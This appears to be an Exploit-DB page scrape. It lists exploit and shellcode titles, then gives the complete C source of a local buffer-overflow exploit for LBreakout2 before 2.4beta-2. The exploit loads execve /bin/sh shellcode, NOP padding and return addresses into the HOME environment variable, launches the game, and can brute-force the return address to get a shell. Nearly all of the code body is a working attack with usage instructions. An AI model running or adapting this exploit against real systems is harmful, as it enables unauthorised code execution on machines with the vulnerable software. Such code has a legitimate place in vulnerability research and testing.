
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
188 lines
No EOL
4.5 KiB
C
188 lines
No EOL
4.5 KiB
C
/*
|
|
source: https://www.securityfocus.com/bid/9712/info
|
|
|
|
Multiple buffer overflow vulnerabilities exist in the environment variable handling of LBreakout2. The issue is due to an insufficient boundary checking of certain environment variables used by the affected application.
|
|
|
|
A malicious user may exploit this condition to potentially corrupt sensitive process memory in the affected process and ultimately execute arbitrary code with the privileges of the game process.
|
|
*/
|
|
|
|
/*
|
|
* lbreakout2 < 2.4beta-2 local exploit by Li0n7@voila.fr
|
|
* vulnerability reported by Ulf Harnhammar <Ulf.Harnhammar.9485@student.uu.se>
|
|
* usage: ./lbreakout2-exp [-r <RET>][-b [-s <STARTING_RET>]]
|
|
*
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <sys/wait.h>
|
|
#include <sys/types.h>
|
|
#include <errno.h>
|
|
|
|
#define BSIZE 200
|
|
#define D_START 0xbfffffff
|
|
#define PATH "/usr/local/bin/lbreakout2"
|
|
|
|
void exec_vuln();
|
|
int tease();
|
|
int make_string(long ret_addr);
|
|
int bruteforce(long start);
|
|
void banner(char *argv);
|
|
|
|
char shellcode[]=
|
|
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
|
|
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
|
|
|
|
char *buffer,*ptr;
|
|
|
|
int
|
|
main(int argc,char *argv[])
|
|
{
|
|
char * option_list = "br:s:";
|
|
int option,brute = 0,opterr = 0;
|
|
long ret,start = D_START;
|
|
|
|
if (argc < 2) banner(argv[0]);
|
|
|
|
while((option = getopt(argc,argv,option_list)) != -1)
|
|
switch(option)
|
|
{
|
|
case 'b':
|
|
brute = 1;
|
|
break;
|
|
case 'r':
|
|
ret = strtoul(optarg,NULL,0);
|
|
make_string(ret);
|
|
tease();
|
|
exit(1);
|
|
break;
|
|
case 's':
|
|
start = strtoul(optarg,NULL,0);
|
|
break;
|
|
case '?':
|
|
fprintf(stderr,"[-] option \'%c\' invalid\n",optopt);
|
|
banner(argv[0]);
|
|
exit(1);
|
|
}
|
|
|
|
if(brute)
|
|
bruteforce(start);
|
|
|
|
return 0;
|
|
}
|
|
|
|
void
|
|
exec_vuln()
|
|
{
|
|
execl(PATH,PATH,NULL);
|
|
}
|
|
|
|
int
|
|
tease()
|
|
{
|
|
pid_t pid;
|
|
pid_t wpid;
|
|
int status;
|
|
|
|
pid = fork();
|
|
|
|
if (pid == -1)
|
|
{
|
|
fprintf(stderr, "[-] %s: Failed to fork()\n",strerror(errno));
|
|
exit(13);
|
|
}
|
|
else if (pid == 0)
|
|
{
|
|
exec_vuln();
|
|
}
|
|
else
|
|
{
|
|
wpid = wait(&status);
|
|
if (wpid == -1)
|
|
{
|
|
fprintf(stderr,"[-] %s: wait()\n",strerror(errno));
|
|
return 1;
|
|
}
|
|
else if (wpid != pid)
|
|
abort();
|
|
else
|
|
{
|
|
if (WIFEXITED(status))
|
|
{
|
|
fprintf(stdout,"[+] Exited: shell's ret code = %d\n",WEXITSTATUS(status));
|
|
return WEXITSTATUS(status);
|
|
}
|
|
else if (WIFSIGNALED(status))
|
|
return WTERMSIG(status);
|
|
else
|
|
fprintf(stderr,"[-] Stopped.\n");
|
|
}
|
|
}
|
|
return 1;
|
|
}
|
|
|
|
int
|
|
make_string(long ret_addr)
|
|
{
|
|
int i;
|
|
long ret,addr,*addr_ptr;
|
|
|
|
buffer = (char *)malloc(1024);
|
|
if(!buffer)
|
|
{
|
|
fprintf(stderr,"[-] Can't allocate memory\n");
|
|
exit(-1);
|
|
}
|
|
|
|
ret = ret_addr;
|
|
|
|
ptr = buffer;
|
|
|
|
memset(ptr,0x90,BSIZE-strlen(shellcode));
|
|
ptr += BSIZE-strlen(shellcode);
|
|
|
|
memcpy(ptr,shellcode,strlen(shellcode));
|
|
ptr += strlen(shellcode);
|
|
|
|
addr_ptr = (long *)ptr;
|
|
for(i=0;i<200;i++)
|
|
*(addr_ptr++) = ret;
|
|
ptr = (char *)addr_ptr;
|
|
*ptr = 0;
|
|
|
|
setenv("HOME",buffer,1);
|
|
return 0;
|
|
}
|
|
|
|
int
|
|
bruteforce(long start)
|
|
{
|
|
int ret;
|
|
long i;
|
|
|
|
fprintf(stdout,"[+] Starting bruteforcing...\n");
|
|
|
|
for(i=start;i<0;i=i-50)
|
|
{
|
|
fprintf(stdout,"[+] Testing 0x%x...\n",i);
|
|
make_string(i);
|
|
ret=tease();
|
|
if(ret==0)
|
|
{
|
|
fprintf(stdout,"[+] Ret address found: 0x%x\n",i);
|
|
break;
|
|
}
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
void
|
|
banner(char *argv)
|
|
{
|
|
fprintf(stderr,"lbreakout2 < 2.4beta-2 local exploit by Li0n7@voila.fr\n");
|
|
fprintf(stderr,"vulnerability reported by Ulf Harnhammar <Ulf.Harnhammar.9485@student.uu.se>\n");
|
|
fprintf(stderr,"usage: %s [-r <RET>][-b [-s <STARTING_RET>]]\n",argv);
|
|
exit(1);
|
|
} |